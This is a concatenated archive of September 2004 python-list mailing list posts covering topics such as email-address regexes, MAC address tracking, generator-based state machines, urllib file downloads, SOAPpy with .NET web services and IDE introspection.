References: <mailman.3647.1095778995.5135.python-list@python.org>	<slrncl18gl.s1l.jgrahn-nntq@frailea.sa.invalid>
	<mailman.3700.1095836232.5135.python-list@python.org>
Message-ID: <e930c085.0409221125.25d6cf7f@posting.google.com>

"Fredrik Lundh" <fredrik at pythonware.com> wrote in message news:<mailman.3700.1095836232.5135.python-list at python.org>...
> Jorgen Grahn wrote:
> 
> > I've seen no references to RFC 2822 in this thread ... please note that what
> > all these regexes catch is unlikely to be exactly the set of all valid RFC
> > 2822 addresses.
> 
> the perl faq is also required reading:
> 
> http://www.perldoc.com/perl5.6/pod/perlfaq9.html#How-do-I-check-a-valid-mail-address-
> 
>     Q. How do I check a valid mail address?
> 
>     A. You can't, at least, not in real time. Bummer, eh?
> 
>     Without sending mail to the address and seeing whether there's a human
>     on the other hand to answer you, you cannot determine whether a mail
>     address is valid.
> 
> what morally sound reasons are there to scrape mail addresses from text
> documents, btw?
> 
> </F>

Just as an example: I run the mailing list for a dance club that is
only active during the academic year. So our first email each
September has dozens of bounces from no-longer-valid addresses that
need to be removed from the list. I just paste the email containing
all the bounce notification text into a file and use a regex to grab
all the email addresses into a list and generate the proper removal
commands for majordomo. It beats copy-pasting each bad email address
individually from the email containing big lists of bounced addresses.

Webscrapers suck, though. As soon as I put up a webpage with my email
address my spam volume shot way up. I need to replace it with a gif
showing my address.

Carl


From adalke at mindspring.com  Tue Sep 21 01:53:27 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 05:53:27 GMT
Subject: MAC address
In-Reply-To: <mailman.3620.1095739940.5135.python-list@python.org>
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>	<200409201005.25963.heikowu@ceosg.de>	<mailman.3553.1095679406.5135.python-list@python.org>	<414efed5$0$60631$a1866201@newsreader.visi.com>	<mailman.3613.1095723708.5135.python-list@python.org>	<414f7c66$0$60638$a1866201@newsreader.visi.com>	<mailman.3616.1095729288.5135.python-list@python.org>	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
	<mailman.3620.1095739940.5135.python-list@python.org>
Message-ID: <rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net>

Ajay wrote:
> if you use the service say 10 times, then the server can link those 10
> sessions together based on your MAC address.
> and the server will be on the same LAN

Sure.  But if someone's doing that much traffic analysis then
other possibilities are:

   - do you have characteristic use patterns? (eg, check
         c.l.py every 5 minutes, pull email from your server)

   - does your machine have characteristic patterns?  My Mac
       and my NT boxes both like telling the network that they
       are present.  Even with file services, iTunes and other
       services turned off, it would be pretty easy to identify
       my machine by looking at the headers in an HTML request.
       (Eg, look at the browser identification string, or
       see what cookies are sent and match them to previously
       seen cookies)

   - after a new machine connects to the network, check if
       an old machine stop connecting.  Even better, since
       you're talking wireless, see if the new machine has the
       same signal strength as the one one.

   - for that matter, someone trying to figure out who people
       are could use several receivers, or a directional
       antenna to figure out where you are and just watch you.

   - does your machine tell the DHCP server a hostname?  If so,
       don't forget to change it when you change your MAC address.
       If not, are you the only one who doesn't use a name?


				Andrew
				dalke at dalkescientific.com


From joh12005 at yahoo.fr  Wed Sep  8 16:25:34 2004
From: joh12005 at yahoo.fr (Joh)
Date: 8 Sep 2004 13:25:34 -0700
Subject: how to build simple FSM using generators ?
Message-ID: <63b5e209.0409081225.345ae973@posting.google.com>

hello,

i've readed "Charming Python: Generator-based state machines"
www-106.ibm.com/developerworks/ linux/library/l-pygen.html , but i
still can not get the point on how using generator for FSM

i'm interested in a very simple FSM which would be able to recognize
consecutive sequence of texts, please can someone give me a hint on
how to do this using yield ?

by now, my fsm is something like, having a "previous state", iterating
in a while 1 loop, advancing "previous state" to recognized word and
if len(recognized all words) is matched then a sequence had been
recognized, whatever else re-init FSM ;
but can not understand how could yield help me...

thx.


From rm at rm.rm  Thu Sep 16 21:46:42 2004
From: rm at rm.rm (Radioactive Man)
Date: Fri, 17 Sep 2004 01:46:42 GMT
Subject: Need script to download file at known address
References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com>
	<1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com>
Message-ID: <qefkk0l390rub20inkfkpn74vb5a8qhdek@4ax.com>

On Wed, 15 Sep 2004 17:20:43 +0200, aleaxit at yahoo.com (Alex Martelli)
wrote:

>Radioactive Man <rm at rm.rm> wrote:
>
>> I am fairly new to the latest verion of Python and using it on windows
>> 95, 2000, and/or XP.  What libraries, modules, functions, etc. would I
>> need to set up a Python script to download a file, say
>> "htttp://www.sound.com/files/bob.wav" to my own hard drive at
>> "c:\sound\bob.wav"?  
>
>Something like:
>
>import urllib
>urllib.urlretrieve( "htttp://www.sound.com/files/bob.wav",
>                           'c:/sound/bob.wav')
>
>should be fine.
>
>> I haven't found any good examples of such an operation in the
>> documentation at the Python website.  Any suggestions are appreciated.
>
>http://docs.python.org/lib/module-urllib.html has the docs of
>urlretrieve, and it's SO simple that I don't really see what "good
>examples" one might provide.  A book that by design is full of examples
>(hopefully good) is the Python Cookbook, which in the intro to Chapter
>10 (Network Programming) gives a slightly richer example which downloads
>several files with urllib.urlretrieve.
>http://www.python9.org/p9-zadka.ppt may have some useful pointers,
>perhaps. 
>
>http://www.experts-exchange.com/Programming/Programming_Languages/Python
>/Q_21048439.html has exactly the same question you asked, but you have
>to "sign up" to see the solution (always the same one).
>
>
>Alex


Thanks to all who replied on this one.  I have managed to download,
but somehow the file is getting mangled when I save it to my hard
drive.  Here is the test script I came up with:

import urllib
f =  urllib.urlopen("http://www.python.org/pics/pythonHi.gif")
g = f.read()
file = open("trash.gif", "w")
file.write(g)
file.close()

The file "trash.gif" is actually saved under "C:\Python23" in the
correct format (recognizable to *.gif viewing programs), but is so
severely mangled that I can't even recognize it visually.  It happens
every time, so I do not believe it is a random event.  My question
here is what am I doing wrong and at what stage is the file getting
mangled?  I know this method works fine with text files, but for some
reason is damaging to binary files.

The same result happened when I substituted urllib.urlretrieve() for
urllib.urlopen().


From mwh at python.net  Tue Sep  7 13:27:47 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 7 Sep 2004 17:27:47 GMT
Subject: ANN: WxInter
References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
	<pan.2004.09.06.21.23.40.851628@jerf.org>
	<chk3hp$gqb$1@news-reader3.wanadoo.fr>
	<WKOdnb_jwesHc6DcRVn-ug@centurytel.net>
Message-ID: <m3eklec7l9.fsf@pc150.maths.bris.ac.uk>

Ed Suominen <ed-no at spam-eepatents.com> writes:

> Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython
> to provide the text and canvas widget functionality, and then move with the
> WxInter idea to use it as a path for abandoning TkInter.
> 
> I have Tk and OOP experience, and could work on WxInter (all Python) with
> the help of others. But the work on wxWindows/wxPython (C++) would have to
> be someone else's domain. The wxWidgets project has a bounties page [1]. If
> there were enough interest (e.g., by the Python foundation), that might be
> a route to get the needed text/canvas functionality.
> 
> Would a PEP be welcomed or opposed on this topic?

I'm not sure what you're asking about.  A PEP for improving wxWindows
or even wxPython would be irrelavent.

A PEP for removing Tkinter and replacing it with Wxinter would
certainly be necessary, but somewhat premature until Wxinter
exists... I'd also expect it to meet some resistance, but that's only
a guess (I don't use either and don't care :-).

Cheers,
mwh

-- 
  surely, somewhere, somehow, in the history of computing, at least
  one manual has been written that you could at least remotely
  attempt to consider possibly glancing at.              -- Adam Rixey


From deetsNOSPAM at web.de  Thu Sep 16 13:20:28 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Thu, 16 Sep 2004 19:20:28 +0200
Subject: Python Oddity - print a reserved name
References: <6f402501.0409150404.75292b5a@posting.google.com>
	<Xns95658A6A9564Eduncanrcpcouk@127.0.0.1>
	<6f402501.0409151157.56b8d517@posting.google.com>
	<ciab1s$seb$00$1@news.t-online.com>
	<ciahfb$j2g$0$216.39.172.122@theriver.com>
	<ciaqrg$gp9$06$1@news.t-online.com>
	<cicgol$sno$0$216.39.172.122@theriver.com>
Message-ID: <cici0p$as6$06$1@news.t-online.com>

> No, the second print in print print is just a name.
> The translation is
>     print((), print)
> where after this translation both prints are ordinary names, and the print
> statement per se is effectively forgotten as far as compilation is
> concerned.

I understood that that was what you _wanted_ it to be - but how do you want
to parse that? It would involve saying "first encounter of print is a
keyword, then an identifier" - that condition is reset after the statement,
so to speak the next line or a semicolon.

That surely is possible, but has to be done _after_ lexcal analysis - which
makes things more complicated as necessary, for a very questionable
benefit.

> The point is, a print statement is recognized _syntactically_ by 'print'
> being the first name in the statement, but for the rest of the statement
> 'print' is an ordinary name. Thus
>     print; foo = print; foo((), 'Hi there')

How shall that work? Right now, print ; print produces two newlines. Do you
want to alter that behaviour? Do you want to complicate parsing even more
by saying that print on the right side of an expression is the name,
otherwise its executed? 
That would be inconsistent - every newby would ask why 

>>> foo

then isn't evaluated, but yields <funtion foo>, whereas 

>>> print

produces a nl.


> would print a newline, bind foo to the builtin print function, and invoke
> the latter via foo, (using () to indicate default outfile). None could
> also be used to indicate default outfile. I just picked () as more
> flexibly adaptable to what I hadn't thought of yet re specifying outfile
> ;-) Maybe a keyword arg would be better yet. I.e., as in def print(*args
> **kw) with outfile=kw.get('outfile', sys.stdout). But that's an
> implementation detail.

> No, you have misunderstood (I wasn't clear enough) my suggestion. No
> ambiguity, but yes, a print name token as the leading token of a statement
> is interpreted specially. You could interpret print(x) differently from
> print (x) analogously to 123.__doc__ (illegal) vs 123 .__doc__ which gives
> you int docs.
>>
>>>>> len
>><built-in function len>
>>>>> 
>>
>>has no sideeffects whatsoever, where
>>
>>>>> print
>>
>>>>>
>>
>>clearly has.
> as does
> 
>     sys.stdout.write('\n')
>        
> so I guess I am missing your point.


The point is that two things that look alike should behave the same for
reasons of orthogonality  - having as special-case of print here does
produce behaviour that yields to confusion, as I said before. That is of
course also true right now - but because print beeing a reserved keyword,
nobody falls into any traps here - its just forbidden. 


> It doesn't seem that complex a context for print, but I haven't thought
> about the other keywords yet (no time really for this even ;-/). I wonder
> what a comprehensive writeup of python name semantics would reveal,
> discussing all the different name spaces and ways that names are searched
> for and used in various contexts.

Well, its certainly more complicated than just altering the lexical phase -
it requrires a post-reduction step - deep in the parser.

-- 
Regards,

Diez B. Roggisch


From nkour at freemail.gr  Sun Sep 26 17:54:47 2004
From: nkour at freemail.gr (Nikos Kouremenos)
Date: Mon, 27 Sep 2004 00:54:47 +0300
Subject: HappyDoc not so happy?
In-Reply-To: <xM2dnRcxOLs4Z8vcRVn-rw@rogers.com>
References: <xM2dnRcxOLs4Z8vcRVn-rw@rogers.com>
Message-ID: <1096235692.213775@athnrd02>

Dan Perl wrote:
> Does anyone know what is happening with HappyDoc?  I downloaded the latest
> release (3.0 from April, 2003) but it cannot even be installed (there is a
> bug report for that already).  Is anyone still working on it?
> 
> What other similar tools for extracting documentation would you recommend?
> I find pydoc extremely rudimentary and I am using epydoc instead.  However,
> I found a bug in epydoc that's a big thorn in my side (although it's a great
> tool otherwise) so I am looking for alternatives.  I tried an older release
> of HappyDoc (2.1) but I'm not "happy" with it either and I find it
> definitely worse than epydoc.
> 
> What is Zope using these days?  HappyDoc advertises that it is used by Zope,
> but that's probably an old reference.  I also found a reference to a ZAPIDOC
> project in Zope, but that seems to be dead too. 
> 
> 
http://sourceforge.net/projects/epydoc


From dwelch91 at comcast.net  Fri Sep 17 22:08:07 2004
From: dwelch91 at comcast.net (djw)
Date: Sat, 18 Sep 2004 02:08:07 GMT
Subject: Recommendations about xmltramp
In-Reply-To: <opsehcf5d4r0m89z@fx1025>
References: <opsehcf5d4r0m89z@fx1025>
Message-ID: <bMM2d.318757$8_6.5616@attbi_s04>

Jonas Hei wrote:
> I'd like to get experts' opinion about
> xmltramp (http://www.aaronsw.com/2002/xmltramp/).
> 
> I am still in early stages of exploration - I need to
>  determine to process XML in my next project.
> Currently I like ElementTree (@ effbot.org) and xmltramp.
> But I am bit concerned about Mark Pilgrim's comments about
> xmltree(http://diveintomark.org/archives/blinks/2003/12/#b20031218035253)
> 
> Can anyone elaborate/explain about scenarios in which xmltramp can 
> corrupt  data?
> Or was it all just a joke...
> 
> 

The PyRXP parser (http://www.reportlab.org/pyrxp.html) lets you access 
XML in a way similar to xmltree using the TagWrapper class in 
xmlutils.xml. I've used it and it has worked very well (its also very fast).

-Don


From abra9823 at mail.usyd.edu.au  Thu Sep  2 01:22:00 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Thu,  2 Sep 2004 15:22:00 +1000
Subject: visual c++ and python
Message-ID: <1094102520.4136adf882767@www-mail.usyd.edu.au>

hi!

has anyone got a visual c++ program to call a python module?

can that be done?

cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From pitkali at NOSPAMinteria.pl  Tue Sep 14 13:31:51 2004
From: pitkali at NOSPAMinteria.pl (pitkali)
Date: Tue, 14 Sep 2004 19:31:51 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com>
Message-ID: <ci79v3$rh$1@atlantis.news.tpi.pl>

Jorge Godoy wrote:

> Indeed...  But first, I'm curious about how it looks.  I don't
> understand why people make GUI projects without any screenshot available
> on their own website.  How can we see how it looks without downloading,
> it?

It says explicitly what toolkits are used. Don't you know how gtk2 looks
like?

Regards,

-- 
* Piotr (pitkali) Kalinowski * mailto: pitkali (at) o2 (dot) pl  *
*   Registered Linux User No. 282090 * Powered by Gentoo Linux   *
* Fingerprint: D5BB 27C7 9993 50BB A1D2 33F5 961E FE1E D049 4FCD *


From ville at spammers.com  Mon Sep 27 14:54:58 2004
From: ville at spammers.com (Ville Vainio)
Date: 27 Sep 2004 21:54:58 +0300
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
Message-ID: <du7ekkn8rul.fsf@amadeus.cc.tut.fi>

>>>>> "Alex" == Alex Martelli <aleaxit at yahoo.com> writes:

    Alex> For overload purposes, you might have the decorator actually
    Alex> take as arguments some _types_ and record them so that the
    Alex> metaclass can arrange for the dispatching based on
    Alex> actual-argument types...

I believe several implementations of generic functions/multimethods in
Python exist already; Quick googling brings up 

http://mail.python.org/pipermail/python-dev/2004-April/043902.html

def generic(*type_signature):
     """
     A decorator-generator that can be used to incrementally construct
     a generic function that delegates to individual functions based on
     the type signature of the arguments.  For example, the following
     code defines a generic function that uses two different actual
     functions, depending on whether its argument is a string or an
     int:

         >>> def f(x) [generic(int)]:
         ...     print x, 'is an int'
         >>> def f(x) [generic(str)]:
         ...     print x, 'is a string'


    Alex> If you bletch at having to decorate each overloaded version
    Alex> with '@overloaded', consider C# basically requires that
    Alex> "just BECAUSE", without even having a good excuse such as
    Alex> "we need to do it that way due to Python's semantics"...;-)

I think it's "override" in C#, and stands for overriding a method in base class:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/csref/html/vclrfOverridePG.asp

-- 
Ville Vainio   http://tinyurl.com/2prnb


From aaaaa at bbb.it  Sun Sep 26 05:00:25 2004
From: aaaaa at bbb.it (Frate)
Date: Sun, 26 Sep 2004 09:00:25 GMT
Subject: Blender!
Message-ID: <Jyv5d.8761$N45.227281@twister2.libero.it>

Ciao a tutti
allora, ho scaricato e installato blender, ma quando in python(2.3) compilo 
un file di esempio mi dice che non trova il modulo blender.. io ho aggiunto 
come variabile path (sul mio xp) la directory di bender. ma cmq non va? come 
mai? 




From irmen at -nospam-remove-this-xs4all.nl  Mon Sep 27 19:08:02 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Tue, 28 Sep 2004 01:08:02 +0200
Subject: ANN: Snakelets 1.34 (simple-to-use web app server with dynamic
	pages)
Message-ID: <41589d53$0$10528$e4fe514c@news.xs4all.nl>

I'm happy to say that Snakelets 1.34 is available.

Snakelets is a very simple-to-use Python web application server.
This project provides a built-in threaded web server (so you don't
need to set up Apache or another web server), Ypages (HTML+Python
language, similar to Java's JSPs) and Snakelets: code-centric page
request handlers (similar to Java's Servlets).
Snakelets is fully unicode compatible and it's possible to run it
from a CD (read-only mode).

It's released under the open-source MIT Software license.

You can download from http://snakelets.sourceforge.net
(go to the SF project site, and then the file section).

Recent changes include:

- updated docs and examples
- fixes concerning loginpages and page encoding with redirected pages
- small Ypage parser/compiler bugfixes and improvements
- new plugin mechanism
- example plugins include a page cache and http compression
   (plugins are available separately).

To start, edit the vhost config file (see docs) and
then run the serv.py script, or the monitor.py script
if you want to start it as a daemon (on Unix).

Enjoy,
--Irmen de Jong.


P.S. if you want to see Snakelets live, visit www.promozilla.org
      (warning: the site is in Dutch)


From steven.bethard at gmail.com  Tue Sep 21 16:43:44 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 20:43:44 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>	<864d37090409211107302ef8a5@mail.gmail.com>
	<mailman.3667.1095791394.5135.python-list@python.org>
	<%e04d.6521$gG4.1383@newsread1.news.pas.earthlink.net>
Message-ID: <loom.20040921T224136-4@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
> > Yeah, by restricting comparisons, we'd be basically saying that sort
> > is only defined for lists that take the form list<some_type>.
> 
> or where a compare function can be passed to .sort(), or
> where (in 2.4) a keys function can be passed to get the
> objects used for the comparison.  Why is this a problem?

It's not, for me at least -- I'm all for restricting sort in this way.  I'm 
just trying to understand what problems other people are trying to solve that 
they think they'd need other behavior from sort, and in what ways they can 
work around the proposed limitations.

Steve




From richardjones at optushome.com.au  Wed Sep  8 19:09:08 2004
From: richardjones at optushome.com.au (richard)
Date: Thu, 09 Sep 2004 09:09:08 +1000
Subject: Why is this legal?
References: <2uK%c.21$pW.773@news.itd.umich.edu>
Message-ID: <413f9114$0$28401$afc38c87@news.optusnet.com.au>

Michael George Lerner wrote:
>     cluster = [c for (c.resi,c) in cluster] # undecorate
> 
> That last line actually assigns c.resi for each c in cluster.
> 
> Is there any reason you'd ever want to do this?

Yes, I've done it many times.


    Richard



From steven.bethard at gmail.com  Tue Sep 21 14:44:02 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 18:44:02 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<loom.20040921T193847-890@post.gmane.org>
	<20040921182934.GA9959@unununium.org>
Message-ID: <loom.20040921T203419-585@post.gmane.org>

Phil Frost <indigo <at> bitglue.com> writes:
> That's the point. Dicts can't be sorted, but binary trees *must* be.

Ahh, I see.  You're suggesting using binary trees as an implementation of a 
mapping.  Binary trees have so many uses, I wasn't really clear what you were 
suggesting they be used as.  (After I sent my mail, I had (incorrectly) 
determined that you intended them as sets...)

> It's not something that I do often, but it's something that's important to 
> have.

It does come down to a question nearly identical to the one I asked before:
(1) "is there a good use case for wanting to sort a list containing 
incompatible types?" (my previous question)
(2) "is there a good use case for wanting to make a mapping with keys that 
have incompatible types?" (my question to you)

To some degree, (1) has already been answered to my satisfaction by Carlos 
Ribeiro's spreadsheet example.  If you could give me a real world example of 
when you'd want to do (2), I might be more convinced...

Thanks,

Steve



From aleaxit at yahoo.com  Tue Sep  7 18:04:02 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 00:04:02 +0200
Subject: Method returning new instance of class?
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
	<4139a87a$0$30204$9b622d9e@news.freenet.de>
	<2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
	<4139E730.4060203@v.loewis.de>
	<213df9a1.0409070553.662fc885@posting.google.com>
	<413e1a13$0$151$9b622d9e@news.freenet.de>
Message-ID: <1gjrpdf.lc9o5v81ve2pN%aleaxit@yahoo.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote:

> Arthur wrote:
> > """The copy module does not use the copy_reg registration module."""
> > 
> > This is actually pretty esoteric stuff for someone who has not delved
> > into these mysteries before, so I am a bit lost.
> 
> It appears that this documentation is incorrect. Just look at the
> source of copy.py and see for yourself:

You're right, of course, but it's hard to reconcile that with the recent
diktat on py-dev that what's in the source doesn't matter -- only what's
documented to work matters (it's in Brett Cannon's python-dev summary of
3 weeks ago, I can find the links from there to the archives if you
wish).  Given that peculiar decision, the fact that copy DOES use
copy_reg, in total violation of the docs, looks like it could be taken
away anytime, as a bugfix...

If we want to keep advising people to check the sources, then that
particular python-dev decision must then be reversed; otherwise we
should stop advising using the sources as the ultimate reference... I
don't think we can have it both ways!


Alex


From ismaelherreragasser at hotmail.com  Thu Sep 30 00:09:38 2004
From: ismaelherreragasser at hotmail.com (Ismael Herrera)
Date: Thu, 30 Sep 2004 00:09:38 -0400
Subject: ipython instrospection like editor,ide
Message-ID: <cjg0uf$gna$1@sea.gmane.org>


 Hi,i wonder if there is an editor or ide that has similar dinamic
instrospection features as ipython? ,since i have failed to find one, i
spend more time coding in ipython than in my editor. 

  Well the feature i need the most is tab introspection since python has so
many libraries and functions that is imposible to remember all of them.For
example when i type urllib2.<tab> i get:

urllib2.AbstractBasicAuthHandler         urllib2.__class__                       
urllib2.mimetools
urllib2.AbstractDigestAuthHandler        urllib2.__delattr__                     
urllib2.mimetypes
urllib2.AbstractHTTPHandler              urllib2.__dict__                        
urllib2.noheaders
urllib2.BaseHandler                      urllib2.__doc__                         
urllib2.os
urllib2.CacheFTPHandler                  urllib2.__file__                        
urllib2.parse_http_list
urllib2.CustomProxy                      urllib2.__getattribute__                
urllib2.parse_keqv_list

<skip>..

I also made a function that gives me a quickly overview of an objects,for
example when i type h(urllib2) i get :
 
 AbstractBasicAuthHandler <c> : Non
 AbstractDigestAuthHandler <c> : Non
 AbstractHTTPHandler <c> : Non
 BaseHandler <c> : Non
 CacheFTPHandler <c> : Non
 CustomProxy <c> : Non
 CustomProxyHandler <c> : Non
 socket <m> : This module provides socket operations and some related 
 splitattr <f> : splitattr('/path;attr1=value1;attr2=value2;...') ->
 splitgophertype <f> : splitgophertype('/Xselector') --> 'X', 'selector'
 splithost <f> : splithost('//host[:port]/path') --> 'host[:port]', '/path'
 splitpasswd <f> : splitpasswd('user:passwd') -> 'user', 'passwd'
 splitport <f> : splitport('host:port') --> 'host', 'port'
 splitquery <f> : splitquery('/path?query') --> '/path', 'query'
 splittype <f> : splittype('type:opaquestring') --> 'type', 'opaquestring'
 splituser <f> : splituser('user[:passwd]@host[:port]') --> 'user[:passwd]', 
 unquote <f> : unquote('abc%20def') -> 'abc def'
 unwrap <f> : unwrap('<URL:type://host/path>') --> 'type://host/path'
 url2pathname <f> : Non
 urlopen <f> : Non
 urlparse <m>  


Well,i would like similar functionality in the enviroment that i am coding
in, i hate having to go to the interactive shell every 7 seconds to type
'h(<class name>)' for example.

The code for my help function (is sucky since i have had so much trouble
finding the types of some objects and doesnt work for some modules):

import sgmllib
import types

def h(name,display='all',allow_herencia=False):
    '''name-> any object name that is not an instance(module,attr,func)
       display-> all | m | f | c | a  ie : m = module
       allow_Herencia True | False
       
       Display object's information for a quick overview 
    '''
    
    if allow_herencia == True : iter = dir(name)     
    else : 
                iter = name.__dict__.keys() 
                iter.sort() 
        
    for x in iter:
       
       attr = getattr(name,x)
       
       try:  ## can be better with hasattr() builtin  
        doc = str(attr.__doc__)
       except:
        print ' %s %s' % (x,attr)
        continue
       else :
            
        limit = doc.find('\n')
        doc = doc[:limit]
        membertype = __gettype(attr)
                
        if display is membertype or display is 'all': print ' %s <%s> : %s'                                                                
% (x,membertype,doc)
         

def __gettype(attr):
        ## needs reworking
    t = type(attr)
    #print t
    
    if t is types.ModuleType : return 'm'
    
    elif t is type(str.isupper) or\
         t is types.BuiltinFunctionType or\
         t is types.FunctionType or\
         t is types.UnboundMethodType or\
         t is '<type \'instancemethod\'>' : 
        
            return 'f'
    
    elif t is type(str.__eq__) : return 'w' #wraper
    
    elif t is types.TypeType or t is type(sgmllib.SGMLParser): return 'c'
    
    else: return 'a'
    






From mlerner at asteroids.gpcc.itd.umich.edu  Wed Sep  8 23:34:44 2004
From: mlerner at asteroids.gpcc.itd.umich.edu (Michael George Lerner)
Date: Thu, 09 Sep 2004 03:34:44 GMT
Subject: Why is this legal?
References: <2uK%c.21$pW.773@news.itd.umich.edu>
	<mailman.3066.1094692871.5135.python-list@python.org>
Message-ID: <obQ%c.43$pW.959@news.itd.umich.edu>

Gary Herron <gherron at islandtraining.com> wrote:
> On Wednesday 08 September 2004 02:05 pm, Michael George Lerner wrote:
>> I tracked down a bug today that boiled down the "undecorate" part of
>> this "decorate-sort-undecorate":
>>
>>     cluster = [(c.resi,c) for c in cluster] # decorate
>>     cluster.sort()                          # sort
>>     cluster = [c for (c.resi,c) in cluster] # undecorate
>>
>> That last line actually assigns c.resi for each c in cluster.

> So if you don't want to assign to c.resi don't use it as a loop
> variable:
>     cluster = [c for (ignored,c) in cluster] # undecorate
> or
>     cluster = [item[1] for item in cluster] # undecorate

Yup.  I rewrote it as
    cluster = [c for (resi,c) in cluster] # undecorate
once I found the bug.

I think I was just annoyed that it was so easy to write the
undecorate line by copying the decorate line and moving terms
around .. easy, but broken.

You and Jeff Shannon have convinced me that I just need to make
sure that I don't forget that a list comprehension is really
just a cute for loop.

It still seems a little jarring, though.

Thanks,

-michael

>> Is there any reason you'd ever want to do this?

> There is a big reason to want it to stay this way.  The rule that
> "each pass through the loop rebinds the loop variable (or tuple of
> loop variables)" is simple, and clear.  For that reason alone, we
> don't want to ever change it.

> Gary Herron




From robin.siebler at palmsource.com  Mon Sep 13 23:00:44 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 13 Sep 2004 20:00:44 -0700
Subject: Ranting about the state of Python IDEs for Windows
References: <864d3709040913131077f1732d@mail.gmail.com>	<d52c72d2040913132260f78197@mail.gmail.com>
	<mailman.3270.1095109034.5135.python-list@python.org>
Message-ID: <95c29a5e.0409131900.2821c2a5@posting.google.com>

The new version has conditional breakpoints which rocks!


From mhatmaker at gmail.com  Wed Sep 15 00:37:47 2004
From: mhatmaker at gmail.com (Michael Hatmaker)
Date: 14 Sep 2004 21:37:47 -0700
Subject: Problems getting Python client (SOAPpy) to consume .NET web
	services
References: <cba30467.0409131445.734b131a@posting.google.com>
	<ci6ana$445$1@online.de>
Message-ID: <cba30467.0409142037.516ee029@posting.google.com>

Nice catch! Actually, I had tried that once, but there is one more
trick to make this work (that I had since added). You must add the
following line in your C# web service (I put it before the
[WebService(Namespace=...] line):

[SoapDocumentService (Use=SoapBindingUse.Encoded)]

(and I also think you need to import the following:)

using System.Web.Services.Protocols;
using System.Web.Services.Description;
using System.Xml.Serialization;

So for anyone else that is having this problem, the solution is the
combination of the two: (1) You must ad the [SoapDocumentService
(Use=SoapBindingUse.Encoded)] line to your web service (along with all
the appropriate "using" statements shown above) and (2) you must
specify the arguments by name in the method call like "server.Add(a=3,
b=5)".

Phew. Thanks again for making me go back and take a look at that named
arguments thing. I still don't know if there is hope for using a .NET
web service that I didn't write (such as those on www.xmethods.net),
but I'll be sure to let everyone know if I find a solution.

Benjamin Niemann <b.niemann at betternet.de> wrote in message news:<ci6ana$445$1 at online.de>...
> Michael Hatmaker wrote:
> 
> > I have begun experimenting with web services, and I created some
> > simple web services in C# and was able to install them with IIS and
> > create an equally simple C# client to consume them.
> > 
> > My next experiment was to use Python to consume these same web
> > services, and even though I am able to get Python to consume web
> > services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot
> > get web services created with MS.NET to work. Actually, methods with
> > no arguments work fine, but any methods that take arguments do not
> > work. There is no error, it is simply that an incorrect result is
> > returned (i.e. my simple Add(int a, int b) web service always returns
> > zero).
> > 
> > I tried playing around with the
> > [SoapDocumentService(Use=SoapBindingUse.Literal,
> > ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I
> > have had no success as of yet. I don't think it's just me since I
> > cannot consume any of the web services on webmethods.net that are
> > created using MS.NET.
> > 
> > My Python code looks something like this:
> > 
> > from SOAPpy import WSDL
> > server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL')
> > server.SayHello()    # works correctly - just prints a hello message
> > server.Add(3, 4)     # does not work - returns zero
> > 
> > Any tip that would point me in the right direction would be greatly
> > appreciated!
> I tried this some time before, too. Actually cannot remember, if I finally 
> succeeded. I think using keyword arguments in Python got me one step further, e.g.:
> server.Add(a=3, b=4)


From guettli at thomas-guettler.de  Thu Sep 23 06:39:13 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 23 Sep 2004 12:39:13 +0200
Subject: Comparation to other languages
References: <d8025bdb.0409230127.369f63c3@posting.google.com>
Message-ID: <pan.2004.09.23.10.39.13.222784@thomas-guettler.de>

Am Thu, 23 Sep 2004 02:27:46 -0700 schrieb Abdullah Khaidar:

> I've read some language -include python- comparation texts
> (benchmarks). But they are very old, so that I'm doubt about their
> results. Does anyone know language comparation texts which compare
> recent version of python -python 2.3- with some other languages?

Hi,

Maybe you like http://pleac.sf.net/

This compares the code 
of the perl cookbook
with several languages.

It does not contain benchmarks.

Regards,
 Thomas



From andre.roberge at ns.sympatico.ca  Tue Sep  7 22:25:34 2004
From: andre.roberge at ns.sympatico.ca (Andr? Roberge)
Date: 7 Sep 2004 19:25:34 -0700
Subject: i18n and GUI under Windows
References: <f06d8508.0409061625.10440451@posting.google.com>
	<chl118$rcl$2@nemesis.news.tpi.pl>
Message-ID: <f06d8508.0409071825.4e53be29@posting.google.com>

